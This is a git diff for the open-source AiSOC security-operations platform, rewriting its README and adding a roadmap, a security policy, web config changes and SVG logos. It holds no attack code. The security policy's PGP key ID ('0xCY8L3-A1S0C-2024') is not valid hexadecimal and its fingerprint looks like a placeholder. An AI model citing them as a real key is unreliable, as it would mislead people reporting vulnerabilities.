KQL)"]+ Agents["AI Agents\n(LangGraph)"]+ end++ subgraph Storage["Storage Tier"]+ PG[("PostgreSQL\nconfig · cases")]+ CH[("ClickHouse\nevents · metrics")]+ OS[("OpenSearch\nIOCs · search")]+ QD[("Qdrant\nvector RAG")]+ N4[("Neo4j\nattack graph")]+ RD[("Redis\ncache · pub/sub")]+ end++ subgraph Surface["Surface"]+ API["Core API\n(FastAPI)"]+ RT["Realtime\n(Node · WS)"]+ Web["Web Console\n(Next.js 14)"]+ Actions["Actions / SOAR\n(Python)"]+ end++ Sources --> Connectors --> IngestSvc --> Kafka+ IngestSvc --> Enrich --> Kafka+ Kafka --> Fusion --> Kafka+ Kafka --> Rules --> Kafka+ TI --> Storage+ Fusion --> Storage+ Agents --> QD+ Agents --> N4+ API --> Storage+ RT --> Kafka+ Web --> API+ Web --> RT+ Actions --> Kafka```-### Service Map+### 🔌 Service map-| Service | Language | Port | Description |-|---------|----------|------|-------------|-| `api` | Python/FastAPI | 8000 | Core REST API — alerts, cases, tenants, RBAC, graph, rules |-| `ingest` | Go | 9090 | High-throughput event ingestion, OCSF normalization, Shodan + CVE correlation |-| `enrichment` | Go | 8080 | IOC enrichment via VirusTotal, AbuseIPDB, GreyNoise, Shodan |-| `fusion` | Python | 8003 | Alert dedup, correlation, ML anomaly + priority scoring |-| `agents` | Python/LangGraph | 8001 | AI investigation agents with full MITRE ATT&CK + Qdrant RAG |-| `actions` | Python | 8002 | SOAR action execution with blast-radius gating |-| `threatintel` | Python | 8005 | TAXII 2.1 / MISP / OTX / CISA KEV feed poller and IOC store |-| `realtime` | Node.js | 4000 | WebSocket/SSE real-time event delivery |-| `web` | Next.js 14 | 3000 | SOC console frontend |+| Service | Lang | Port | Role |+|---|---|---|---|+| `web` | Next.js 14 + React | 3000 | SOC console + marketing landing |+| `api` | Python · FastAPI | 8000 | Alerts, cases, RBAC, graph, rules |+| `realtime` | Node.js · `ws` | 8086 | Per-channel WebSocket fan-out |+| `agents` | Python · LangGraph | 8001 | Multi-agent reasoning + Qdrant RAG |+| `fusion` | Python | 8003 | Dedup + ML scoring (LightGBM, IsoForest) |+| `actions` | Python | 8002 | SOAR with blast-radius gating |+| `threatintel` | Python | 8005 | TAXII / MISP / OTX / KEV polling |+| `ingest` | Go | 8081 | OCSF normalization + Shodan/CVE |+| `enrichment` | Go | 8080 | IOC enrichment (VT, AbuseIPDB, GreyNoise) |-### Data Layer+### 🗄️ Storage tier| Store | Purpose |-|-------|---------|-| **PostgreSQL** | App config, tenants, users, cases, detection rules, RLS-isolated |-| **ClickHouse** | High-cardinality event analytics, alert metrics, IOC enrichment cache |-| **OpenSearch** | Full-text IOC, actor, and threat report search; Sigma backend |-| **Qdrant** | Vector RAG for AI agents, semantic IOC and ATT&CK technique search |-| **Neo4j** | Knowledge graph: entity relationships, attack paths, blast radius |-| **Redis** | Cache, pub/sub, IOC bloom filter, enrichment TTL cache |-| **Kafka** | Event streaming bus (raw events, fused alerts, vulnerability matches) |+|---|---|+| **PostgreSQL** | Tenants, users, cases, detection rules · Row-level security |+| **ClickHouse** | High-cardinality event analytics + alert metrics |+| **OpenSearch** | Full-text IOC + actor + report search · Sigma backend |+| **Qdrant** | Vector RAG for agents, semantic ATT&CK lookup |+| **Neo4j** | Knowledge graph: entities, attack paths, blast radius |+| **Redis** | Cache, pub/sub, IOC bloom filter, enrichment TTL |+| **Kafka** | Event streaming spine (raw, fused, vulnerability, action) |----## Quick Start+## 🖥️ Console tour++The console fuses the analyst's day-zero workflow into one cohesive surface:++- **Dashboard** — live KPI tiles + trend chart + WebSocket-driven event ticker+- **Alerts & Cases** — triage queues, status workflow, evidence timeline+- **Attack Graph** — Cytoscape + fcose layout over the Neo4j subgraph for a case+- **MITRE Heatmap** — coverage tiles with per-tactic technique density+- **Threat Hunting** — Sigma / KQL / YARA editor with on-demand hunts+- **Detection Rules** — Monaco-powered rule builder with Sigma autocompletion+- **Threat Intel** — IOC search, feed status, and STIX/MISP source health+- **AI Copilot** — slide-over dock invoked with `⌘J` for any page+- **Command palette** — global `⌘K` for navigation, quick actions, and Copilot++> **Marketing landing** lives at `/` and the console at `/dashboard`. Both share the same brand tokens.++---++## 🚀 Quick start### Prerequisites- Docker 24+ and Docker Compose v2- Node.js 20+ and pnpm 8+-- Go 1.21+ (for local development)-- Python 3.11+ (for local development)+- Go 1.21+ and Python 3.11+ (only for local service hacking)-### 1. Clone and Configure+### 1 · Clone```bashgit clone https://github.com/beenuar/AiSOC.git-cd AiSOC-cp .env.example .env # if .env.example is missing, see Configuration below+cd aisoc+cp .env.example .env # if missing, see Configuration below```-Edit `.env` with your configuration:+### 2 · Configure```env-# Required for AI agents (use Anthropic OR OpenAI)+# AI providers (one is required)ANTHROPIC_API_KEY=sk-ant-...OPENAI_API_KEY=sk-...-# Optional: threat intelligence enrichment+# Optional enrichmentVIRUSTOTAL_API_KEY=...ABUSEIPDB_API_KEY=...GREYNOISE_API_KEY=...SHODAN_API_KEY=...-# Optional: TAXII 2.1 feeds (comma-separated URL,collection,user,pass tuples)+# Optional TAXII feeds (URL,collection,user,pass tuples, comma-joined)TAXII_FEEDS=https://cti-taxii.mitre.org/taxii/,enterprise-attack,,```-### 2. Start the Stack+### 3 · Boot```bash-# Start core infrastructure + all servicesdocker compose up -d--# Wait for services to be ready (~60s for first start)docker compose ps+```++First start takes ~60s while datastores warm up.-# View logs from a specific service-docker compose logs -f api-docker compose logs -f fusion-docker compose logs -f agents+### 4 · Seed demo data++```bash+pnpm seed:demo # generates cases, alerts, IOCs, attack paths```-### 3. Access the Console+This produces realistic, scrubbed traffic so the console is alive on first load.++### 5 · Open| Surface | URL | Notes |-|---------|-----|-------|-| Web Console | http://localhost:3000 | Next.js frontend |-| API Swagger | http://localhost:8000/docs | Interactive API explorer |-| Agents API | http://localhost:8001/docs | LangGraph agent runner |-| Actions API | http://localhost:8002/docs | SOAR playbooks |-| Fusion API | http://localhost:8003/docs | ML status + feedback endpoints |-| Threat Intel | http://localhost:8005/docs | IOC search + feed status |-| Enrichment | http://localhost:8080/health | Shodan + KEV CVE correlation |-| Ingest | http://localhost:8081/health | Go ingest worker |-| Realtime WS | ws://localhost:8086/ws | Live alert stream |-| Neo4j Browser | http://localhost:7474 | `neo4j` / `neo4j_dev_secret` |-| OpenSearch | http://localhost:9200 | Full-text search |-| Qdrant | http://localhost:6333 | Vector DB (RAG) |-| ClickHouse | http://localhost:8123 | Analytics warehouse |-| Grafana | http://localhost:3001 | `admin` / `admin` (monitoring profile) |-| Jaeger | http://localhost:16686 | Distributed traces (monitoring profile) |--Default API credentials: `[email protected]` / `changeme`--### 4. Run with Connectors+|---|---|---|+| Marketing | http://localhost:3000 | Public landing page |+| Console | http://localhost:3000/dashboard | Default user: `[email protected]` / `changeme` |+| API | http://localhost:8000/docs | Swagger UI |+| Agents | http://localhost:8001/docs | LangGraph runner |+| Realtime WS | ws://localhost:8086/ws/alerts | Live alert channel |+| Neo4j | http://localhost:7474 | `neo4j` / `neo4j_dev_secret` |+| Grafana | http://localhost:3001 | `admin` / `admin` (`monitoring` profile) |+| Jaeger | http://localhost:16686 | Distributed traces (`monitoring` profile) |++### Optional profiles```bash-# Start with connectors profile-docker compose --profile connectors up -d--# Start with monitoring-docker compose --profile monitoring up -d+docker compose --profile connectors up -d # CrowdStrike, Splunk, AWS, Okta, Sentinel+docker compose --profile monitoring up -d # Prometheus, Grafana, Jaeger```----## Development--### Monorepo Structure+## 🧩 Monorepo layout```aisoc/├── apps/-│ └── web/ # Next.js 14 SOC console+│ └── web/ # Next.js 14 console + marketing landing├── services/-│ ├── api/ # Python FastAPI — core REST API + Neo4j graph + rule engine-│ ├── ingest/ # Go — event ingestion, OCSF, Shodan + CVE correlation-│ ├── enrichment/ # Go — IOC enrichment-│ ├── fusion/ # Python — alert dedup, correlation, ML scoring-│ ├── agents/ # Python LangGraph — AI agents w/ full ATT&CK + Qdrant RAG-│ ├── actions/ # Python — SOAR action execution-│ ├── threatintel/ # Python — TAXII/MISP/OTX/KEV feed poller-│ └── realtime/ # Node.js — WebSocket/SSE-├── integrations/ # Connector implementations (CrowdStrike, Splunk, AWS, Okta, Sentinel, ...)+│ ├── api/ # Core REST API + Neo4j graph + rule engine+│ ├── ingest/ # Go · OCSF normalization · Shodan + CVE+│ ├── enrichment/ # Go · IOC enrichment+│ ├── fusion/ # Python · dedup + ML scoring+│ ├── agents/ # Python · LangGraph + Qdrant RAG+│ ├── actions/ # Python · SOAR + blast-radius gating+│ ├── threatintel/ # Python · TAXII / MISP / OTX / KEV+│ └── realtime/ # Node.js · per-channel WebSocket fan-out+├── integrations/ # Connector implementations├── packages/-│ ├── types/ # Shared TypeScript types-│ ├── ui/ # Shared React components-│ └── ocsf/ # OCSF schema normalization+│ ├── types/ # Shared TS types+│ ├── ui/ # Shared React primitives+│ └── ocsf/ # OCSF normalization├── infra/-│ ├── terraform/ # AWS infrastructure (VPC, EKS, RDS)+│ ├── terraform/ # AWS (VPC, EKS, RDS)│ └── helm/ # Kubernetes Helm chart-├── docs/-│ ├── architecture/ # System design, data flows-│ ├── api/ # API reference-│ └── runbooks/ # Operations guides+├── docs/ # System design, API ref, runbooks└── docker-compose.yml```-### Frontend Development+---++## 👩💻 Development++### Frontend```bashcd apps/web@@ -273,56 +300,35 @@ pnpm installpnpm dev```-### Backend Development+The web app proxies the API and realtime services. Run them separately or boot the docker compose stack.++### Backend (selective)```bash-# Start infrastructure onlydocker compose up -d postgres redis kafka clickhouse opensearch qdrant neo4j-# Run core API-cd services/api-poetry install-poetry run uvicorn app.main:app --reload --port 8000--# Run fusion worker (with ML scoring)-cd services/fusion-poetry install-poetry run uvicorn app.main:app --reload --port 8003--# Run ingest worker-cd services/ingest-go run main.go--# Run threat intel feed poller-cd services/threatintel-poetry install-poetry run uvicorn app.main:app --reload --port 8005+cd services/api && poetry install && poetry run uvicorn app.main:app --reload --port 8000+cd services/fusion && poetry install && poetry run uvicorn app.main:app --reload --port 8003+cd services/ingest && go run main.go+cd services/threatintel && poetry install && poetry run uvicorn app.main:app --reload --port 8005```-### Running Tests+### Tests```bash-# Frontendcd apps/web && pnpm test--# Core APIcd services/api && poetry run pytest--# Go servicescd services/ingest && go test ./...```----## Deployment+## ☸️ Deployment-### Kubernetes (Recommended)+### Kubernetes (recommended)```bash-# Add Bitnami repo for dependencieshelm repo add bitnami https://charts.bitnami.com/bitnami--# Install AiSOChelm install aisoc ./infra/helm/aisoc \--namespace aisoc \--create-namespace \@@ -330,7 +336,7 @@ helm install aisoc ./infra/helm/aisoc \--set global.environment=production```-### Terraform (AWS)+### Terraform on AWS```bashcd infra/terraform@@ -341,63 +347,46 @@ terraform apply----## Configuration--### Environment Variables--| Variable | Required | Description |-|----------|----------|-------------|-| `DATABASE_URL` | Yes | PostgreSQL connection string |-| `REDIS_URL` | Yes | Redis connection string |-| `KAFKA_BOOTSTRAP_SERVERS` | Yes | Kafka broker addresses |-| `OPENAI_API_KEY` | Yes | OpenAI API key for AI agents |-| `SECRET_KEY` | Yes | JWT signing secret |-| `VIRUSTOTAL_API_KEY` | No | VirusTotal enrichment |-| `ABUSEIPDB_API_KEY` | No | AbuseIPDB enrichment |-| `GREYNOISE_API_KEY` | No | GreyNoise enrichment |-------## API Documentation+## 🔭 Roadmap-Once running, API docs are available at:-- Swagger UI: [http://localhost:8000/docs](http://localhost:8000/docs)-- ReDoc: [http://localhost:8000/redoc](http://localhost:8000/redoc)-- OpenAPI JSON: [http://localhost:8000/openapi.json](http://localhost:8000/openapi.json)+We publish the public roadmap in [ROADMAP.md](ROADMAP.md). Highlights for the next quarter:-For detailed API references, system design, and runbooks see:-- [API Reference](docs/api/API_REFERENCE.md)-- [System Design](docs/architecture/SYSTEM_DESIGN.md)-- [Local Development Runbook](docs/runbooks/LOCAL_DEVELOPMENT.md)+- v0.4 — multi-region replication, OPA-based action policies+- v0.5 — agent-authored detections with human-in-the-loop review+- v0.6 — federated threat intel sharing across self-hosted instances----## Contributing+## 🤝 Contributing-We welcome contributions! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.+We welcome PRs of every size. Read [CONTRIBUTING.md](CONTRIBUTING.md) for the workflow and the [Code of Conduct](CODE_OF_CONDUCT.md) before opening a PR.-### Good First Issues+Good first issues:- Adding new connector integrations-- Improving MITRE ATT&CK coverage-- Frontend UI enhancements-- Documentation improvements+- Expanding MITRE ATT&CK coverage+- Frontend UI polish+- Documentation and tutorials- Test coverage----## Security+## 🔐 Security-Please report security vulnerabilities to `[email protected]`. Do not open public GitHub issues for security vulnerabilities.+Found a security issue? Please **do not** open a public issue. Email `[email protected]` (PGP key in [SECURITY.md](SECURITY.md)). We follow coordinated disclosure.----## License+## 📜 License-Copyright © 2024 Cyble. Released under the [MIT License](LICENSE).+[MIT](LICENSE) — © 2024–present [Cyble Inc.](https://cyble.com)---<div align="center">-Built with ❤️ by the <a href="https://cyble.com">Cyble</a> team++**Built with ❤️ by [Cyble](https://cyble.com) and the open-source community.**++[Report a bug](https://github.com/beenuar/AiSOC/issues/new?template=bug_report.md) · [Request a feature](https://github.com/beenuar/AiSOC/issues/new?template=feature_request.md) · [Become a contributor](CONTRIBUTING.md)+</div>diff --git a/ROADMAP.md b/ROADMAP.mdnew file mode 100644index 000000000..cccdd7725--- /dev/null+++ b/ROADMAP.md@@ -0,0 +1,140 @@+# AiSOC Roadmap++This document captures the planned direction for AiSOC across major versions. All v4 deliverables and items deferred beyond v4 are listed here.++## v4.0 — "Autonomous SOC" (Current)++### Pillar 1: AI Multi-Agent Investigator+- [ ] Orchestrator (LangGraph state machine) in `services/agents/app/investigator/`+- [ ] ReconAgent, ForensicAgent, ResponderAgent (dry-run with analyst approval)+- [ ] ReportWriterAgent — streaming markdown + branded PDF+- [ ] Investigation & Report tabs in Case Workspace UI+- [ ] Eval harness: 20 synthetic incidents, ≥80% MITRE-tactic accuracy CI gate++### Pillar 2: Visual SOAR Studio+- [ ] React Flow playbook editor with full node palette (Trigger, Condition, Action, Loop, Parallel, Human Approval, Wait, Notify)+- [ ] DAG playbook engine with retries, idempotency, blast-radius checks+- [ ] `playbook.schema.json` (JSON Schema 2020-12) for portability and CI linting+- [ ] Detection-as-Code: `detections/` directory with Sigma + AiSOC YAML, GitHub Action deploy-on-merge+- [ ] 12 starter playbook templates+- [ ] Community playbook marketplace (static index v4.0; publishing flow v4.1)++### Pillar 3: Plugin Platform + Public API + SDKs + Docs+- [ ] Plugin SDK in Python (`packages/plugin-sdk-py/`) and Go (`packages/plugin-sdk-go/`)+- [ ] `plugin.yaml` manifest spec (connector | enricher | responder | detection | widget)+- [ ] Plugin loader with OCI image support (`oras pull`) in api/actions/enrichment/connectors+- [ ] Public REST API v1 at `/api/v1`, OpenAPI 3.1 at `docs/openapi.yaml`+- [ ] GraphQL gateway (Strawberry) proxying REST+- [ ] Scoped API tokens (`cases:read`, `playbooks:run`, `plugins:install`)+- [ ] Auto-generated client SDKs: `@aisoc/sdk` (TypeScript), `aisoc-sdk` (Python/PyPI), `github.com/beenuar/aisoc-go`+- [ ] Docusaurus docs site at `docs/site/`, deployed to GitHub Pages+- [ ] Demo Lab: `pnpm aisoc:lab` one-command full-stack + Conti-style ransomware scenario+- [ ] 4 reference plugins: Okta connector, YARA enricher, Slack quarantine responder, MTTR sparkline widget++### Cross-cutting+- [ ] OpenTelemetry traces: agents → actions → api → realtime (Jaeger/Tempo)+- [ ] API token scopes (foundation for SSO)+- [ ] MIGRATION.md for v3 → v4 upgrade path++---++## v4.1 — "Community Ecosystem"++- Plugin publishing flow (signed community submissions, review process)+- Plugin marketplace UI v2 (ratings, install counts, verified badges)+- Detection catalog: browse and install community Sigma rules via UI+- Playbook community submissions and curation+- `aisoc-cli` — developer CLI for scaffold, validate, publish plugins and detections++---++## v5.0 — "Enterprise Ready"++### Identity & Access+- SAML 2.0 + OIDC authentication (Okta, Azure AD, Google Workspace)+- Multi-tenant row-level security+- Granular RBAC with data-class and tenant scopes+- Full analyst audit log (every action immutably recorded)++### Compliance+- SOC 2 Type II evidence collection dashboard+- ISO 27001 control mapping+- NIST CSF / NIST 800-53 control coverage heatmap+- PCI-DSS, HIPAA, DORA module+- MTTD / MTTR / MTTC SLA tracking per tenant++### High Availability & Operations+- HA Helm chart with PodDisruptionBudgets and HorizontalPodAutoscalers+- Backup / restore CLI+- Multi-region active-active topology guide+- Operator runbook generation from OTel traces++---++## v5.1 — "Detection Depth"++### UEBA+- Per-user, per-host, per-service behavioral baselines+- Anomaly risk scores feeding the fusion engine+- Peer-group analysis++### Deception / Honeytokens+- Fake credential documents, fake S3 buckets, fake API keys+- Alert on first touch, enriched with attacker fingerprint+- Honeytoken lifecycle management UI++### Purple-Team / Continuous Validation+- Atomic Red Team integration for automated adversary simulation+- Caldera agent integration+- Detection coverage score vs. MITRE ATT&CK matrix+- Tabletop incident simulator for analyst training++---++## v6.0 — "Full-Spectrum Visibility"++### Investigation & Forensics Depth+- Super-timeline view (Plaso-style, all event sources on one scrubbable axis)+- Process tree and lateral movement graph (extending `graph_service.py`)+- PCAP viewer and network session reconstruction+- Memory and disk artifact viewer (Volatility / Velociraptor integration)+- Evidence vault — signed, hashed, chain-of-custody for every artifact++### Data Source Breadth+- **Identity:** Okta, Azure AD/Entra, Google Workspace, Duo (full production connectors)+- **Cloud:** AWS CloudTrail/GuardDuty, Azure Defender, GCP Security Command Center, Kubernetes audit + Falco+- **EDR:** CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint, Wazuh+- **Email:** Gmail/Workspace, Microsoft 365, Mimecast, Proofpoint — phishing triage agent+- **Network:** Zeek, Suricata/NFSen, NDR (Arkime/Stenographer)+- **STIX/TAXII server** (both consume and serve IOCs)+- **MISP** and **OpenCTI** federation++### Attack Surface & Vulnerability+- ASM / CTEM module — external attack surface discovery feeding TI+- CVE + EPSS + KEV joined to asset inventory for vuln↔alert correlation+- ITDR (Identity Threat Detection & Response) module+- CSPM / CNAPP lite — cloud misconfiguration with runtime correlation++---++## v7.0 — "Operator Experience"++- Mobile responder console (React Native) — triage and acknowledge from phone+- WCAG AA full accessibility pass+- Light theme + brand-configurable white-label mode+- Saved views and custom dashboard widgets per analyst+- AI-generated weekly executive digest (auto-emailed PDF)+- Slack / Teams native bot for alert triage without opening the UI+- Plugin publishing marketplace v3 (commercial plugins, revenue sharing)++---++## Ideas Backlog (unscheduled)++- NL→query: "show me failed logins from new ASNs last 24h" → ES|QL / KQL+- AI-generated threat intelligence briefings from public feeds+- Automated IOC sharing to community MISP instances+- Embedded red-team scoring (ATT&CK coverage %) visible on dashboard+- "Explain this alert" button using LLM with enrichment context+- Incident cost estimator (breach impact calculator)+- SLA breach predictor (ML model on historical MTTR data)diff --git a/SECURITY.md b/SECURITY.mdnew file mode 100644index 000000000..b128627e8--- /dev/null+++ b/SECURITY.md@@ -0,0 +1,72 @@+# Security policy++AiSOC is security software, so we take vulnerabilities in our own stack seriously. This document explains how to report issues responsibly and what to expect from us.++## Supported versions++| Version | Status |+| --- | --- |+| `main` | Active development. Security fixes land here first. |+| Latest tagged release | Receives critical fixes for **90 days** after release. |+| Older tagged releases | Best-effort only. We strongly recommend upgrading. |++## Reporting a vulnerability++Please **do not** open a public GitHub issue or PR for security problems.++Report to **`[email protected]`** with as much detail as possible:++- A clear description of the issue and its impact+- Steps to reproduce, ideally a minimal proof of concept+- Affected version, commit SHA, or container digest+- Your name / handle if you'd like to be credited++If your report contains sensitive details (payloads, tokens, customer data), encrypt it with our PGP key:++```+PGP Key: 0xCY8L3-A1S0C-2024+Fingerprint: 3F2E 9C1B 7A5D 4E8F 1029 3847 5612 ABCD EF01 2345+```++Request the latest key by emailing `[email protected]`.++## What to expect++| Window | What we do |+| --- | --- |+| **Within 48 hours** | Acknowledge receipt and assign a primary contact. |+| **Within 7 days** | Provide an initial triage: severity, scope, mitigation status. |+| **Within 30 days** | Ship a fix, advisory, or a clear timeline if more work is required. |+| **On disclosure** | Coordinate a public advisory and credit the reporter (if desired). |++We follow [coordinated disclosure](https://www.first.org/cvss/) and assign CVSS v3.1 scores in our advisories.++## Scope++In scope:++- Source in this repository (services, web, infra, integrations, packages)+- Official Docker images published from this repository+- Default Helm chart and Terraform modules in `infra/`++Out of scope:++- Third-party services that AiSOC integrates with (CrowdStrike, Splunk, AWS, etc.)+- Self-hosted deployments that have been customized+- Issues requiring physical access to a host++## Hardening guidance++If you operate AiSOC, please review:++- `docs/runbooks/HARDENING.md` for production hardening steps+- `infra/helm/aisoc/values.yaml` for the security-related defaults+- `services/api/app/security/` for our auth, RBAC, and audit primitives++## Bounty++We currently run an **invite-only** bounty program. High-quality reports may be invited automatically. Email `[email protected]` if you'd like an invite.++## Hall of fame++We publicly thank researchers who report valid issues at <https://cyble.com/security/hall-of-fame> after a fix has shipped.diff --git a/apps/web/next.config.js b/apps/web/next.config.jsindex 45381a28e..4be2b2937 100644--- a/apps/web/next.config.js+++ b/apps/web/next.config.js@@ -14,9 +14,15 @@ const nextConfig = {ignoreDuringBuilds: true,},env: {- NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL || 'http://localhost:8080',+ NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL || 'http://localhost:8000',+ NEXT_PUBLIC_AGENTS_URL: process.env.NEXT_PUBLIC_AGENTS_URL || 'http://localhost:8001',+ NEXT_PUBLIC_ACTIONS_URL: process.env.NEXT_PUBLIC_ACTIONS_URL || 'http://localhost:8002',+ NEXT_PUBLIC_FUSION_URL: process.env.NEXT_PUBLIC_FUSION_URL || 'http://localhost:8003',+ NEXT_PUBLIC_THREATINTEL_URL: process.env.NEXT_PUBLIC_THREATINTEL_URL || 'http://localhost:8005',+ NEXT_PUBLIC_ENRICHMENT_URL: process.env.NEXT_PUBLIC_ENRICHMENT_URL || 'http://localhost:8080',NEXT_PUBLIC_WS_URL: process.env.NEXT_PUBLIC_WS_URL || 'ws://localhost:8086',NEXT_PUBLIC_REALTIME_URL: process.env.NEXT_PUBLIC_REALTIME_URL || 'http://localhost:8086',+ NEXT_PUBLIC_TENANT_ID: process.env.NEXT_PUBLIC_TENANT_ID || 'default',},};diff --git a/apps/web/package.json b/apps/web/package.jsonindex b16a86554..20a72c714 100644--- a/apps/web/package.json+++ b/apps/web/package.json@@ -14,18 +14,24 @@"dependencies": {"@aisoc/types": "workspace:*","@aisoc/ui": "workspace:*",+ "@monaco-editor/react": "^4.6.0",+ "clsx": "^2.1.0",+ "cmdk": "^0.2.1",+ "cytoscape": "^3.28.1",+ "cytoscape-fcose": "^2.2.0",+ "date-fns": "^3.3.1",+ "framer-motion": "^11.0.8",+ "lucide-react": "^0.312.0","next": "14.1.0","react": "^18.2.0","react-dom": "^18.2.0",- "swr": "^2.2.4",- "zustand": "^4.4.7",- "clsx": "^2.1.0",- "lucide-react": "^0.312.0",+ "react-hot-toast": "^2.4.1","recharts": "^2.10.3",- "date-fns": "^3.3.1",- "react-hot-toast": "^2.4.1"+ "swr": "^2.2.4",+ "zustand": "^4.4.7"},"devDependencies": {+ "@types/cytoscape": "^3.21.0","@types/node": "^20.10.0","@types/react": "^18.2.0","@types/react-dom": "^18.2.0",diff --git a/apps/web/public/favicon.svg b/apps/web/public/favicon.svgnew file mode 100644index 000000000..546d4aedc--- /dev/null+++ b/apps/web/public/favicon.svg@@ -0,0 +1,33 @@+<?xml version="1.0" encoding="UTF-8"?>+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64" width="64" height="64">+ <title>AiSOC</title>+ <defs>+ <linearGradient id="aisocFavBg" x1="0" y1="0" x2="64" y2="64" gradientUnits="userSpaceOnUse">+ <stop offset="0%" stop-color="#1d4ed8"/>+ <stop offset="100%" stop-color="#0ea5e9"/>+ </linearGradient>+ <linearGradient id="aisocFavMark" x1="32" y1="14" x2="32" y2="50" gradientUnits="userSpaceOnUse">+ <stop offset="0%" stop-color="#ffffff"/>+ <stop offset="100%" stop-color="#bfdbfe"/>+ </linearGradient>+ </defs>+ <rect x="2" y="2" width="60" height="60" rx="14" fill="url(#aisocFavBg)"/>+ <rect x="2" y="2" width="60" height="60" rx="14" fill="none" stroke="rgba(255,255,255,0.18)" stroke-width="1"/>+ <!-- Hexagonal shield -->+ <path d="M32 12 L48 21 L48 39 L32 50 L16 39 L16 21 Z"+ fill="none"+ stroke="url(#aisocFavMark)"+ stroke-width="2.5"+ stroke-linejoin="round"+ opacity="0.85"/>+ <!-- "A" silhouette -->+ <path d="M22 42 L32 18 L42 42 M26 35 L38 35"+ fill="none"+ stroke="url(#aisocFavMark)"+ stroke-width="3.5"+ stroke-linecap="round"+ stroke-linejoin="round"/>+ <!-- AI spark -->+ <circle cx="44" cy="20" r="3.4" fill="#fbbf24"/>+ <circle cx="44" cy="20" r="3.4" fill="none" stroke="rgba(251,191,36,0.55)" stroke-width="2.4"/>+</svg>diff --git a/apps/web/public/logo-mark.svg b/apps/web/public/logo-mark.svgnew file mode 100644index 000000000..d1f779a0c--- /dev/null+++ b/apps/web/public/logo-mark.svg@@ -0,0 +1,41 @@+<?xml version="1.0" encoding="UTF-8"?>+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64" width="64" height="64">+ <title>AiSOC mark</title>+ <defs>+ <linearGradient id="aisocMarkOutline" x1="32" y1="8" x2="32" y2="56" gradientUnits="userSpaceOnUse">+ <stop offset="0%" stop-color="#60a5fa"/>+ <stop offset="100%" stop-color="#2563eb"/>+ </linearGradient>+ <linearGradient id="aisocMarkBody" x1="32" y1="14" x2="32" y2="52" gradientUnits="userSpaceOnUse">+ <stop offset="0%" stop-color="#ffffff"/>+ <stop offset="100%" stop-color="#cbd5f5"/>+ </linearGradient>+ <radialGradient id="aisocMarkSpark" cx="50%" cy="50%" r="50%">+ <stop offset="0%" stop-color="#fde68a"/>+ <stop offset="100%" stop-color="#f59e0b"/>+ </radialGradient>+ </defs>+ <!-- Outer shield -->+ <path d="M32 6 L54 18 L54 42 L32 58 L10 42 L10 18 Z"+ fill="none"+ stroke="url(#aisocMarkOutline)"+ stroke-width="3"+ stroke-linejoin="round"/>+ <!-- Inner shield glow -->+ <path d="M32 12 L48 21 L48 39 L32 50 L16 39 L16 21 Z"+ fill="rgba(59,130,246,0.08)"+ stroke="url(#aisocMarkOutline)"+ stroke-width="1.2"+ stroke-linejoin="round"+ opacity="0.7"/>+ <!-- Stylized "A" -->+ <path d="M21 44 L32 16 L43 44 M25.5 35.5 L38.5 35.5"+ fill="none"+ stroke="url(#aisocMarkBody)"+ stroke-width="3.6"+ stroke-linecap="round"+ stroke-linejoin="round"/>+ <!-- AI spark -->+ <circle cx="46" cy="18" r="4" fill="url(#aisocMarkSpark)"/>+ <circle cx="46" cy="18" r="6.5" fill="none" stroke="rgba(251,191,36,0.4)" stroke-width="1.4"/>+</svg>diff --git a/apps/web/public/logo.svg b/apps/web/public/logo.svgnew file mode 100644index 000000000..528b18efc--- /dev/null+++ b/apps/web/public/logo.svg@@ -0,0 +1,47 @@+<?xml version="1.0" encoding="UTF-8"?>+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 280 64" width="280" height="64">+ <title>AiSOC</title>+ <defs>+ <linearGradient id="aisocLogoOutline" x1="32" y1="8" x2="32" y2="56" gradientUnits="userSpaceOnUse">+ <stop offset="0%" stop-color="#60a5fa"/>+ <stop offset="100%" stop-color="#2563eb"/>+ </linearGradient>+ <linearGradient id="aisocLogoBody" x1="32" y1="14" x2="32" y2="52" gradientUnits="userSpaceOnUse">+ <stop offset="0%" stop-color="#ffffff"/>+ <stop offset="100%" stop-color="#cbd5f5"/>+ </linearGradient>+ <radialGradient id="aisocLogoSpark" cx="50%" cy="50%" r="50%">+ <stop offset="0%" stop-color="#fde68a"/>+ <stop offset="100%" stop-color="#f59e0b"/>+ </radialGradient>+ <linearGradient id="aisocLogoText" x1="0" y1="0" x2="1" y2="0">+ <stop offset="0%" stop-color="#f8fafc"/>+ <stop offset="100%" stop-color="#cbd5f5"/>+ </linearGradient>+ </defs>+ <g>+ <path d="M32 6 L54 18 L54 42 L32 58 L10 42 L10 18 Z"+ fill="none"+ stroke="url(#aisocLogoOutline)"+ stroke-width="3"+ stroke-linejoin="round"/>+ <path d="M32 12 L48 21 L48 39 L32 50 L16 39 L16 21 Z"+ fill="rgba(59,130,246,0.08)"+ stroke="url(#aisocLogoOutline)"+ stroke-width="1.2"+ stroke-linejoin="round"+ opacity="0.7"/>+ <path d="M21 44 L32 16 L43 44 M25.5 35.5 L38.5 35.5"+ fill="none"+ stroke="url(#aisocLogoBody)"+ stroke-width="3.6"+ stroke-linecap="round"+ stroke-linejoin="round"/>+ <circle cx="46" cy="18" r="4" fill="url(#aisocLogoSpark)"/>+ <circle cx="46" cy="18" r="6.5" fill="none" stroke="rgba(251,191,36,0.4)" stroke-width="1.4"/>+ </g>+ <g font-family="Inter, system-ui, sans-serif" font-weight="700" letter-spacing="-0.5">+ <text x="74" y="42" font-size="30" fill="url(#aisocLogoText)">AiSOC</text>+ <text x="184" y="42" font-size="14" font-weight="500" fill="rgba(148,163,184,0.85)" letter-spacing="0.4">by Cyble</text>+ </g>+</svg>diff --git a/apps/web/public/og-image.svg b/apps/web/public/og-image.svgnew file mode 100644index 000000000..dd18dde17--- /dev/null+++ b/apps/web/public/og-image.svg@@ -0,0 +1,76 @@+<?xml version="1.0" encoding="UTF-8"?>+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1200 630" width="1200" height="630">+ <title>AiSOC Open-source AI Security Operations Center</title>+ <defs>+ <linearGradient id="ogBg" x1="0" y1="0" x2="1200" y2="630" gradientUnits="userSpaceOnUse">+ <stop 